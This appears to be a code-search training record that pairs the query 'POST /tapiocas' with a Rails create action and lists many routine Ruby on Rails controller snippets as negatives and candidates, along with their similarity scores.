index.html.erb\n format.json { render json: @turmas }\n end\n end", "def index\n @acuerdos = Acuerdo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acuerdos }\n end\n end", "def index\n @articulos = Articulo.where(\"tipo = 'articulo'\").order(\"created_at desc\") \n @noticias = Articulo.where(\"tipo = 'noticia' and mostrar_carrusel='1'\").order(\"created_at desc\").limit(3)\n @articulos = @articulos.page(params[:page]).per_page(5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articulos }\n end\n end", "def index\n @assuntos = Assunto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assuntos }\n end\n end", "def index\n @tipoapreensoes = Tipoapreensao.all\n end", "def listar()\n @client.get(Route.new([ROTA_DID]))\n end", "def index\n @apologetics = Apologetic.all\n end", "def index\n @subcategorias = Subcategoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @subcategorias }\n end\n end", "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tecnico }\n end\n end", "def index\n @titulaciones = Titulacion.all\n end", "def show\n @anuncio = Anuncio.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @anuncio }\n end\n end", "def show\n @ativo_outro = AtivoOutro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ativo_outro }\n end\n end", "def index\n @agendas = Agenda.roots.order(\"position\")\n @write_right = userCould :timer\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @agendas }\n end\n end", "def index\n @acoes = Acao.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acoes }\n end\n end", "def show\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cso }\n end\n end", "def index\n @tamires = Tamire.all\n end", "def index\n @hikiyamas = @omatsuri.hikiyamas\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @hikiyamas }\n format.json { render :json => @hikiyamas }\n end\n end", "def terms\n @api_v1_pages = Api::V1::Page.where('title = \"terms\"').first\n\n render json: @api_v1_pages\n end", "def index\n @tarots = Tarot.all\n end", "def index\n @to_dos = ToDo.all\n\n render json: @to_dos\n end", "def index\n @representante_athletes = current_user.organization.athletes\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @representante_athletes }\n end\n end", "def index\n @taxis = Taxi.where(:open_for_bidding => true).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @taxis }\n end\n end", "def index\n @stoc = Stoc.new\n @rutas = Ruta.por_empresa(current_usuario.empresa_id)\n end", "def show\n @ocat = Ocat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ocat }\n end\n end", "def index\n @tenures = Tenure.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @tenures\n end", "def index\n @casas = Casa.all\n end", "def index\n @observaciontutors = Observaciontutor.all\n end", "def show\n @atout = Atout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @atout }\n end\n end", "def index\n @api_tasks = Api::Task.all\n end", "def show\n render json: @api_v1_todo\n end", "def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end", "def destroy\n @tapioca.destroy\n respond_to do |format|\n format.html { redirect_to tapiocas_url }\n format.json { head :no_content }\n end\n end", "def index\n current_admin_user\n @tablets = Tablet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tablets }\n end\n end", "def index\n @etapas = Etapa.all\n end", "def index\n @tobaccos = Tobacco.all\n end", "def index\n @cursos = Curso.all_active\n @curso = Curso.new\n @programas = Programa.all_active\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cursos }\n end\n end", "def obtenerTemasPorSubCapitulo\n @subchapter_id = params[:subchapter_id]\n \t@contents = Content.where(\"subchapter_id = ?\",@subchapter_id)\n \trespond_with @contents.to_json\n end", "def index\n @ventas = Venta.order(\"fecha desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas }\n end\n end", "def show\n @cto = Cto.find(params[:id])\n end", "def index\n logger.debug \"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\"\n\n if params[:os_id]!=nil\n logger.debug \"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\"\n\n @os_tarefas = OsTarefa.where(\"id_os_pagamento = ?\",params[:os_id])\n else\n @os_tarefas = OsTarefa.all\n end\n end", "def index\n @tamanhos = Tamanho.all\n end", "def show\n @oase = Oasis.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @oase }\n end\n end", "def index\n @timetables = Timetable.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timetables }\n end\n end", "def index\n @anuncios = Anuncio.all.paginate(page: params[:page], per_page: 4 )\n\n respond_to do |format|\n format.html\n format.json { render json: @jobs }\n end\n end", "def index\n @twoprojects = Twoproject.all\n end", "def index\n @tutor = Tutor.all\n\n render json: @tutor, status: :ok\n end", "def index\n @estadios = Estadio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @estadios }\n end\n end", "def index\n @patrocinios = Patrocinio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @patrocinios }\n end\n end", "def mostra_tudo\n apius.mostra_resumo\n apide.mostra_resumo\n apifr.mostra_resumo\n apimt.mostra_resumo\n apies.mostra_resumo\n apigm.mostra_resumo\n apibc.mostra_resumo\n end", "def index\n @articulocomps = Articulocomp.all\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @articulocomps }\n end\n end", "def index\n @bitacoras = Bitacora.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bitacoras }\n end\n end", "def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end", "def index\n ota = Array.new\n if params[:facility].nil?\n # 自分の施設情報だけを返す\n facilities = current_user.facilities\n facilities.each do |facility|\n ota.concat(\n facility.ota.select do |otum|\n otum.provider != 'default'\n end\n )\n end\n else\n # facility=[facility_id]\n facility = Facility.find_by(id: params[:facility].to_i)\n # 施設IDが存在しない場合\n if facility.nil?\n response = {\n status: 'NotFound',\n message: 'ota not found'\n }\n return render json: response, status: 404\n end\n # ユーザーの施設IDでない場合\n if facility.user_id != current_user.id\n response = {\n status: 'NotFound',\n message: 'ota not found'\n }\n return render json: response, status: 404\n end\n\n ota.concat(\n facility.ota.select do |otum|\n otum.provider != 'default'\n end\n )\n end\n\n render json: {\n status: 'Success',\n message: '',\n ota: ota.as_json(except: [\n :password,\n :token,\n :created_at,\n :updated_at\n ], include: [\n :ota_rooms\n ])\n }, status: 200\n end", "def huertopublico\n @huerto = Huerto.find_by_agrupacion(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @huerto }\n end\n end", "def overview\n request_uri = \"#{@api_endpoint}/#{@key}\"\n HTTParty.get(request_uri)\n end" ]
[ "0.6856503", "0.6749254", "0.6569943", "0.626916", "0.62049735", "0.6163696", "0.6135971", "0.6124757", "0.61226964", "0.61190087", "0.607844", "0.60745156", "0.6037414", "0.60234797", "0.60129344", "0.60047185", "0.59946895", "0.59764385", "0.59730387", "0.5971325", "0.5950294", "0.5949246", "0.5948294", "0.59473497", "0.5942171", "0.5934572", "0.59345365", "0.5931676", "0.59288466", "0.5920753", "0.5900907", "0.58986884", "0.5871492", "0.5865965", "0.58645165", "0.5857884", "0.5846518", "0.5829281", "0.5827874", "0.5827874", "0.5825492", "0.58229804", "0.5812795", "0.58097875", "0.5808148", "0.58050627", "0.5803715", "0.58019906", "0.58000094", "0.57993186", "0.5797515", "0.57950777", "0.57855934", "0.5785537", "0.5781847", "0.5781696", "0.5774392", "0.57740855", "0.5769694", "0.5768143", "0.5762328", "0.5761456", "0.57596624", "0.57565427", "0.5754658", "0.5752286", "0.5746247", "0.5743266", "0.57407266", "0.5739366", "0.57387614", "0.57356554", "0.57347435", "0.57255536", "0.57211906", "0.57206106", "0.57149637", "0.5713586", "0.571096", "0.5691255", "0.5690801", "0.56885993", "0.5687987", "0.5685421", "0.5684301", "0.5679079", "0.56781983", "0.5677874", "0.56756634", "0.56738925", "0.56737596", "0.56712884", "0.5670234", "0.56695855", "0.56684005", "0.5666421", "0.5662092", "0.5659652", "0.56540555", "0.56532216", "0.56513226" ]
0.0
-1
POST /tapiocas POST /tapiocas.json
def create @tapioca = Tapioca.new(tapioca_params) respond_to do |format| if @tapioca.save format.html { redirect_to @tapioca, notice: 'Tapioca was successfully created.' } format.json { render action: 'show', status: :created, location: @tapioca } else format.html { render action: 'new' } format.json { render json: @tapioca.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @taco = Taco.new(taco_params)\n\n respond_to do |format|\n if @taco.save\n format.html { redirect_to @taco, notice: 'Taco was successfully created.' }\n format.json { render :show, status: :created, location: @taco }\n else\n format.html { render :new }\n format.json { render json: @taco.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @osoba = Osoba.new(params[:osoba])\n\n if @osoba.save\n render json: @osoba, status: :created, location: @osoba\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def create\n @thuoc = Thuoc.new(thuoc_params)\n\n respond_to do |format|\n if @thuoc.save\n format.html { redirect_to @thuoc, notice: \"Thuoc was successfully created.\" }\n format.json { render :show, status: :created, location: @thuoc }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @thuoc.errors, status: :unprocessable_entity }\n end\n end\n end", "def tapioca_params\n params.require(:tapioca).permit(:name, :description, :picture)\n end", "def tarefa_params\n params.require(:tarefa).permit(:title, :body, :date)\n end", "def create\n @tccapi = Tccapi.new(tccapi_params)\n\n respond_to do |format|\n if @tccapi.save\n format.html { redirect_to @tccapi, notice: 'Tccapi was successfully created.' }\n format.json { render :show, status: :created, location: @tccapi }\n else\n format.html { render :new }\n format.json { render json: @tccapi.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tucdoc = Tucdoc.new(tucdoc_params)\n\n respond_to do |format|\n if @tucdoc.save\n format.html { redirect_to @tucdoc, notice: 'Tucdoc was successfully created.' }\n format.json { render :show, status: :created, location: @tucdoc }\n else\n format.html { render :new }\n format.json { render json: @tucdoc.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tdoc = Tdoc.new(params[:tdoc])\n \n respond_to do |format|\n if @tdoc.save\n format.html { redirect_to @tdoc, notice: 'Tdoc was successfully created.' }\n format.json { render json: @tdoc, status: :created, location: @tdoc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tdoc.errors, status: :unprocessable_entity }\n end\n end\n end", "def crear_tema\n f = page_of :foro\n @tema = f.children.build(:title => params[:title], :state => 'locked', :mime => 'tema')\n add_response(@tema, params[:name], params[:text])\n if @tema.save\n @nota = \"Tu tema '#{@tema.title}' aparecerá próximamente publicado en el foro.\"\n render :action => 'waiting'\n else\n @error = \"Lo siento, no se ha podido crear el tema. Vuelve a intentarlo dentro de unos minutos\"\n render :action => 'error'\n end\n end", "def create\n @tipo_aposta = TipoAposta.new(tipo_aposta_params)\n\n respond_to do |format|\n if @tipo_aposta.save\n format.html { redirect_to @tipo_aposta, notice: 'Tipo aposta was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_aposta }\n else\n format.html { render :new }\n format.json { render json: @tipo_aposta.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tarefa = Tarefa.new(params[:tarefa])\n\n respond_to do |format|\n if @tarefa.save\n format.html { redirect_to @tarefa, notice: 'Tarefa was successfully created.' }\n format.json { render json: @tarefa, status: :created, location: @tarefa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @aactio = Aactio.new(params[:aactio])\n\n respond_to do |format|\n if @aactio.save\n format.html { redirect_to @aactio, notice: 'Aactio was successfully created.' }\n format.json { render json: @aactio, status: :created, location: @aactio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @aactio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @toc = Toc.new(toc_params)\n @manifestation = process_toc(@toc['toc_body'])\n @toc.manifestation = @manifestation\n respond_to do |format|\n if @toc.save\n format.html { redirect_to @toc, notice: 'Toc was successfully created.' }\n format.json { render :show, status: :created, location: @toc }\n else\n format.html { render :new }\n format.json { render json: @toc.errors, status: :unprocessable_entity }\n end\n end\n end", "def generate_tags\n uri = URI.parse(\"https://api.thomsonreuters.com/permid/calais\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n post_body = []\n post_body << \"<Document><Body>\"\n # stip html\n post_body << ActionView::Base.full_sanitizer.sanitize(params[:desc])\n # no strip\n # post_body << params[:desc]\n post_body << \"</Body></Document>\"\n request = Net::HTTP::Post.new(uri.request_uri)\n request.add_field(\"Content-Type\",\"text/xml\")\n request.add_field(\"outputFormat\",\"application/json\")\n #request.add_field(\"outputFormat\",\"text/n3\") \n request.add_field(\"x-ag-access-token\",\"fY7WUM3GGCXHm9ATOhtzhrvlWX8oPo5X\")\n request.body = post_body.join\n # request[\"Content-Type\"] = \"multipart/form-data, boundary=#{BOUNDARY}\"\n\n render :json => http.request(request).body\n end", "def create\n\n @anuncio = Anuncio.new(anuncio_params)\n\n if @anuncio.save\n render :show, status: :created, location: @anuncio\n else\n render json: @anuncio.errors, status: :unprocessable_entity\n end\n end", "def create\n @atracao = Atracao.new(params[:atracao])\n\n respond_to do |format|\n if @atracao.save\n format.html { redirect_to @atracao, :notice => 'Atracao was successfully created.' }\n format.json { render :json => @atracao, :status => :created, :location => @atracao }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @atracao.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_should_create_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_posts.json\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Post', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['body'] == 'Test Post desc', 'Incorrect topic description' \r\n end", "def destroy\n @tapioca.destroy\n respond_to do |format|\n format.html { redirect_to tapiocas_url }\n format.json { head :no_content }\n end\n end", "def create\n @titulacao = Titulacao.new(titulacao_params)\n\n respond_to do |format|\n if @titulacao.save\n format.html { redirect_to titulacaos_path, notice: 'Titulo criado com successo.' }\n format.json { render :index, status: :created, location: titulacaos_path }\n else\n format.html { render :new }\n format.json { render json: @titulacao.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create\n @testowa = Testowa.new(testowa_params)\n\n respond_to do |format|\n if @testowa.save\n format.html { redirect_to @testowa, notice: 'Testowa was successfully created.' }\n format.json { render :show, status: :created, location: @testowa }\n else\n format.html { render :new }\n format.json { render json: @testowa.errors, status: :unprocessable_entity }\n end\n end\n end", "def tiposoc_params\n params.require(:tiposoc).permit(:name)\n end", "def post_api(path, params={}, headers={})\n headers.merge!('CONTENT_TYPE' => \"application/json\")\n post path, params, headers\nend", "def create\n @toko = Toko.new(toko_params)\n @toko.user = current_user\n\n respond_to do |format|\n if @toko.save\n format.html { redirect_to '/finish', notice: 'Toko telah dibuat.' }\n format.json { render :show, status: :created, location: @toko }\n else\n format.html { render :new }\n format.json { render json: @toko.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tatoo = Tatoo.new(tatoo_params)\n\n respond_to do |format|\n if @tatoo.save\n format.html { redirect_to @tatoo, notice: 'Tatoo was successfully created.' }\n format.json { render :show, status: :created, location: @tatoo }\n else\n format.html { render :new }\n format.json { render json: @tatoo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @apoio = Apoio.new(apoio_params)\n\t\t\n\t\t@apoio.user_id = current_user.id\n\t\t@apoio.causa_id = @causa.id\n\t\t\n\t\t@apoio.save\n\t\t\n\t\tredirect_to @causa\n #respond_to do |format|\n # if @apoio.save\n # format.html { redirect_to @apoio, notice: 'Apoio was successfully created.' }\n # format.json { render :show, status: :created, location: @apoio }\n # else\n # format.html { render :new }\n # format.json { render json: @apoio.errors, status: :unprocessable_entity }\n # end\n end", "def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end", "def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend", "def create\n @socio_serasa = SocioSerasa.new(socio_serasa_params)\n\n respond_to do |format|\n if @socio_serasa.save\n format.html { redirect_to @socio_serasa, notice: 'Socio serasa was successfully created.' }\n format.json { render action: 'show', status: :created, location: @socio_serasa }\n else\n format.html { render action: 'new' }\n format.json { render json: @socio_serasa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @conta_a_pagar = ContaAPagar.new(conta_a_pagar_params)\n\n respond_to do |format|\n if @conta_a_pagar.save\n format.html { redirect_to @conta_a_pagar, notice: 'Conta a pagar was successfully created.' }\n format.json { render :show, status: :created, location: @conta_a_pagar }\n else\n format.html { render :new }\n format.json { render json: @conta_a_pagar.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tecido = Tecido.new(tecido_params)\n\n respond_to do |format|\n if @tecido.save\n format.html { redirect_to @tecido, notice: 'Tecido was successfully created.' }\n format.json { render :show, status: :created, location: @tecido }\n else\n format.html { render :new }\n format.json { render json: @tecido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @uni_aso = UniAso.new(uni_aso_params)\n\n respond_to do |format|\n if @uni_aso.save\n format.html { redirect_to @uni_aso, notice: 'Uni aso was successfully created.' }\n format.json { render :show, status: :created, location: @uni_aso }\n else\n format.html { render :new }\n format.json { render json: @uni_aso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @questao = Questao.new(questao_params)\n\n respond_to do |format|\n if @questao.save\n format.html { redirect_to @questao, notice: 'Questao was successfully created.' }\n format.json { render :show, status: :created, location: @questao }\n else\n format.html { render :new }\n format.json { render json: @questao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tangazo = Tangazo.new(tangazo_params)\n\n respond_to do |format|\n if @tangazo.save\n format.html { redirect_to @tangazo, notice: 'Tangazo was successfully created.' }\n format.json { render :show, status: :created, location: @tangazo }\n else\n format.html { render :new }\n format.json { render json: @tangazo.errors, status: :unprocessable_entity }\n end\n end\n end", "def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end", "def create\n @os_tarefa = OsTarefa.new(os_tarefa_params)\n\n respond_to do |format|\n if @os_tarefa.save\n if @os_tarefa.ordem_servico.id!=nil\n format.html { redirect_to \"/ordem_servicos/\"+@os_tarefa.ordem_servico.id.to_s, notice: 'A Tarefa foi criado(a)' }\n format.json { head :no_content }\n else\n format.html { redirect_to @os_tarefa, notice: 'A Tarefa foi criado(a)' }\n format.json { render :show, status: :created, location: @os_tarefa }\n end\n else\n format.html { render :new }\n format.json { render json: @os_tarefa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ocs_generada = OcsGenerada.new(ocs_generada_params)\n\n respond_to do |format|\n if @ocs_generada.save\n format.html { redirect_to @ocs_generada, notice: 'Ocs generada was successfully created.' }\n format.json { render :show, status: :created, location: @ocs_generada }\n else\n format.html { render :new }\n format.json { render json: @ocs_generada.errors, status: :unprocessable_entity }\n end\n end\n end", "def tarefa_params\n params.require(:tarefa).permit(:missao_id, :usuario_curso_id, :nome, :descricao)\n end", "def create\n @apunte = Apunte.new(params[:apunte])\n\n respond_to do |format|\n if @apunte.save\n format.html { redirect_to @apunte, notice: 'Apunte was successfully created.' }\n format.json { render json: @apunte, status: :created, location: @apunte }\n else\n format.html { render action: \"new\" }\n format.json { render json: @apunte.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @torso = Torso.new(params[:torso])\n\n respond_to do |format|\n if @torso.save\n format.html { redirect_to @torso, notice: 'Torso was successfully created.' }\n format.json { render json: @torso, status: :created, location: @torso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @torso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @api_v1_todo = Todo.new(api_v1_todo_params)\n\n respond_to do |format|\n if @api_v1_todo.save\n format.json { render json: @api_v1_todo, status: :created }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def tb_avaliacao_params\n params.require(:tb_avaliacao).permit(:id,\n tb_respostas_attributes: %i(id tb_pergunta_id nota obs))\n end", "def create\n @asiento = Asiento.new(params[:asiento])\n\n respond_to do |format|\n if @asiento.save\n format.html { redirect_to @asiento, :notice => 'El apunte fue creado.' }\n format.json { render :json => @asiento, :status => :created, :location => @asiento }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tso = Tso.new(params[:tso])\n\n respond_to do |format|\n if @tso.save\n flash[:notice] = 'Tso was successfully created.'\n format.html { redirect_to(@tso) }\n format.xml { render :xml => @tso, :status => :created, :location => @tso }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tso.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @twoproject = Twoproject.new(twoproject_params)\n\n respond_to do |format|\n if @twoproject.save\n format.html { redirect_to @twoproject, notice: 'Twoproject was successfully created.' }\n format.json { render :show, status: :created, location: @twoproject }\n else\n format.html { render :new }\n format.json { render json: @twoproject.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tinta = Tinta.new(tinta_params)\n\n respond_to do |format|\n if @tinta.save\n format.html { redirect_to @tinta, notice: 'Tinta was successfully created.' }\n format.json { render :show, status: :created, location: @tinta }\n else\n format.html { render :new }\n format.json { render json: @tinta.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @oferta_academica = OfertaAcademica.new(params[:oferta_academica])\n\n if @oferta_academica.save\n render json: @oferta_academica, status: :created, location: @oferta_academica\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end", "def create\n @anio = Anio.new(anio_params)\n\n respond_to do |format|\n if @anio.save\n format.html { redirect_to @anio, notice: 'Anio was successfully created.' }\n format.json { render :show, status: :created, location: @anio }\n else\n format.html { render :new }\n format.json { render json: @anio.errors, status: :unprocessable_entity }\n end\n end\n end", "def tweetaro_params\n params.require(:tweetaro).permit(:content)\n end", "def taco_params\n params.require(:taco).permit(:name, :price, :description, :cheese, :lettuce, :meat, :tortilla, :beans)\n end", "def create\n @tropa = Tropa.new(tropa_params)\n\n respond_to do |format|\n if @tropa.save\n format.html { redirect_to @tropa, notice: 'Tropa was successfully created.' }\n format.json { render :show, status: :created, location: @tropa }\n else\n format.html { render :new }\n format.json { render json: @tropa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @toto = Toto.new(toto_params)\n\n respond_to do |format|\n if @toto.save\n format.html { redirect_to @toto, notice: 'Toto was successfully created.' }\n format.json { render :show, status: :created, location: @toto }\n else\n format.html { render :new }\n format.json { render json: @toto.errors, status: :unprocessable_entity }\n end\n end\n end", "def os_tarefa_params\n params.require(:os_tarefa).permit(:os_id,:catl_id, :prod_id, :pess_abertura_tarefa_id, :pess_tarefa_atribuida_id, :entregavel_id, :id_tarefa_redmine, :ust_tarefa, :horastarefa, :situacao, :justificativa, :id_os_pagamento)\n end", "def create\n @tasaiva = Tasaiva.new(params[:tasaiva])\n\n respond_to do |format|\n if @tasaiva.save\n format.html { redirect_to(@tasaiva, :notice => 'Tasaiva was successfully created.') }\n format.xml { render :xml => @tasaiva, :status => :created, :location => @tasaiva }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tasaiva.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tdoc = Tdoc.new(params[:tdoc])\n\n respond_to do |format|\n if @tdoc.save\n format.html { redirect_to(@tdoc, :notice => 'Tdoc was successfully created.') }\n format.xml { render :xml => @tdoc, :status => :created, :location => @tdoc }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tdoc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def api_post(path, data = {})\n api_request(:post, path, :data => data)\n end", "def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, :notice => 'Tecnico was successfully created.' }\n format.json { render :json => @tecnico, :status => :created, :location => @tecnico }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tecnico.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @typo = Typo.new(typo_params)\n\n respond_to do |format|\n if @typo.save\n format.html { redirect_to @typo, notice: 'Typo was successfully created.' }\n format.json { render :show, status: :created, location: @typo }\n else\n format.html { render :new }\n format.json { render json: @typo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tarefa = Tarefa.new(tarefa_params)\n @tarefa.user = current_user\n respond_to do |format|\n if @tarefa.save\n format.html { redirect_to @tarefa, notice: 'Tarefa criada com sucesso.' }\n format.json { render :show, status: :created, location: @tarefa }\n else\n format.html { render :new }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_field\n params.inspect\n #@textos = Array.new(1+1) { Texto.new } # Generate index+1 objects\n #respond_with(@textos)\n end", "def create\n @asana = Asana.new(asana_params)\n\n respond_to do |format|\n if @asana.save\n format.html { redirect_to @asana, notice: 'Asana criado com sucesso.' }\n format.json { render :show, status: :created, location: @asana }\n else\n format.html { render :new }\n format.json { render json: @asana.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pocetna = Pocetna.new(pocetna_params)\n\n respond_to do |format|\n if @pocetna.save\n format.html { redirect_to @pocetna, notice: \"Pocetna was successfully created.\" }\n format.json { render :show, status: :created, location: @pocetna }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @pocetna.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @tacos = Taco.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render @tacos }\n end\n end", "def create\n @tareas = Tarea.all\n @tareapositivas = Tarea.where(listo: true)\n @tarea = Tarea.new(tarea_params)\n\n respond_to do |format|\n if @tarea.save\n format.html { redirect_to @tarea, notice: 'Tarea was successfully created.' }\n format.json { render :show, status: :created, location: @tarea }\n else\n format.html { render :new }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tobacco = Tobacco.new(tobacco_params)\n\n respond_to do |format|\n if @tobacco.save\n format.html { redirect_to @tobacco, notice: 'Tobacco was successfully created.' }\n format.json { render :show, status: :created, location: @tobacco }\n else\n format.html { render :new }\n format.json { render json: @tobacco.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end", "def post\n \"\n desc 'create #{resource.singularize}' do\n tags %w[#{resource.singularize}]\n end\n params do\n # TODO: specify the parameters\n end\n post do\n # your code goes here\n end\"\n end", "def create\n @tipovestuario = Tipovestuario.new(tipovestuario_params)\n\n respond_to do |format|\n if @tipovestuario.save\n format.html { redirect_to @tipovestuario, notice: 'Tipovestuario was successfully created.' }\n format.json { render :show, status: :created, location: @tipovestuario }\n else\n format.html { render :new }\n format.json { render json: @tipovestuario.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_tapioca\n @tapioca = Tapioca.find(params[:id])\n @comment = @tapioca.comments.build\n end", "def create\n @cto = Cto.new(cto_params)\n\n respond_to do |format|\n if @cto.save\n format.html { redirect_to @cto, notice: 'Cto was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cto }\n else\n format.html { render action: 'new' }\n format.json { render json: @cto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tipoapreensao = Tipoapreensao.new(tipoapreensao_params)\n\n respond_to do |format|\n if @tipoapreensao.save\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tipoapreensao }\n else\n format.html { render action: 'new' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @objeto = Cita.new(cita_params)\n\n respond_to do |format|\n if @objeto.save\n format.html { redirect_to @objeto, notice: \"Cita was successfully created.\" }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @editor_atto_autosafe = EditorAttoAutosave.new(editor_atto_autosafe_params)\n\n respond_to do |format|\n if @editor_atto_autosafe.save\n format.html { redirect_to 